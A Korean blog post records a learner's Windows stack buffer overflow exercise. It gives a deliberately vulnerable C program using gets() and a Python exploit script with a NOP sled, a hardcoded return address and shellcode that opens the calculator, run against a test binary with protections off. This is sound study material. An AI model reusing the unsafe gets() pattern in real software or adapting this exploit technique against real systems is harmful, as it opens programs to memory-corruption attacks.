ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Windows BOF Exploit with Shellcode
    Hack/Windows 2016. 5. 27. 02:29

    windows bof 공부하는데, 쉘코드를 이용해서 계산기를 띄우는것에대해 글을 작성해보려고해요


    리눅스에서 오버플로우를 공부하면서 이미 보호기법에대해서는 깨쳤으니 NX, 즉 DEP가 걸려있다면 스택의 실행권한이 존재하지않아 쉘코드가 실행이 불가능하겠죠!

    리눅스에서는 ROP가 존재하고, mprotect 함수를 사용할수있었는데, 윈도우즈에서도 마찬가지로 ROP가 존재하고, ROP로 VirtualAlloc 같은 함수로 영역을만들어서 실행권한을 줄수있는 등 공격기법이 존재하더라구요 차차 배우겠지만~


    우선 코드는 그냥 gets 함수에서 터지는 코드를 작성해보았어요 


    #include <stdio.h>
    
    int main()
    {
        char buf[256];
        gets(buf);
        printf("%s",buf);
        return 0;
    }



    buffer는 256, 그럼 계산을해보면 256 + ebp + eip 가 되겠죠? 그럼 바로 크래쉬를 띄울수있겠죠! 하지만 저흰 바로쉘코드를 띄울거에요

    그냥 우리가 입력해준값이 어디에 들어가나 확인하면되니까 스택주소만 알아내면되죠!


    이 컴파일옵션 /GS 즉, SEH가 없는 환경에서 존재하며 DEP,ASLR이 모두 꺼져있는 아주 허접한 바이너리랍니다ㅎ



    자 gets 에서 우린 입력을해주고 스택을 확인해볼거에요! 대충 익스코드를 짜보자면 dummy[256] + AAAA + 뒷스택주소 + \x90*?? + shellcode 가 되겠죠?


    그럼 스택을 확인해보졍



    스택에 입력을 해준대로 쭉 들어갔어요 SEH옵션을 키지않아서 우선 SEH Overflow를 딱히 해주지않아두되구요 걸려있다면 다음에 포스팅하곘지만 jmp offset 을 통해서 넘겨주면된답니다. 물론 DEP가 없을경우에요~


    이어서 진행해볼게요


    일단 리눅스와동일하게 윈도우즈도 \x90 즉 nop코드가 존재하기때문에 슬레딩을 할수있다는 장점이있어요!

    그럼 그냥 저 주소부터 0x0018FF5C 주소뒷쪽에 있으면 쉘코드가 알아서 실행될거에요 익스 코드를 짜볼게요


    import struct
    import os,sys,time
    from subprocess import *
    p = lambda x:struct.pack("<L",x)
    up = lambda x:struct.unpack("<L",x)
    
    filename = "overflow.exe"
    
    
    shellcode = "\x55\x8B\xEC\x83\xEC\x48\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\xC6\x45\xFC\x00\x6A\x01\x8D\x45\xF8\x50\xB8\xF9\x31\x14\x76\xFF\xD0\x6A\x01\x50\xB8\xD8\x79\x0C\x76\xFF\xD0"
    proc = Popen(filename, stdin=PIPE )
    
    payload = "\x90"*260
    payload += p(0x18ffb0)
    payload += "\x90"*100
    payload += shellcode
    
    print payload
    proc.stdin.write(payload)



    놉슬레딩을 타주고 쉘코드가 실행될거에요!


    실행해보면...




    반가운 계산기가 뜨게됩니다



    'Hack > Windows' 카테고리의 다른 글

    SEH(Structured Exception Handling)  (0) 2016.06.01
    Windows BOF (ASLR)  (0) 2016.06.01
    Windows Calc Shellcode  (0) 2016.06.01
    Windows Shellcode 에러  (0) 2016.05.27
    Windows BOF  (0) 2016.05.24

    댓글

Designed by Tistory.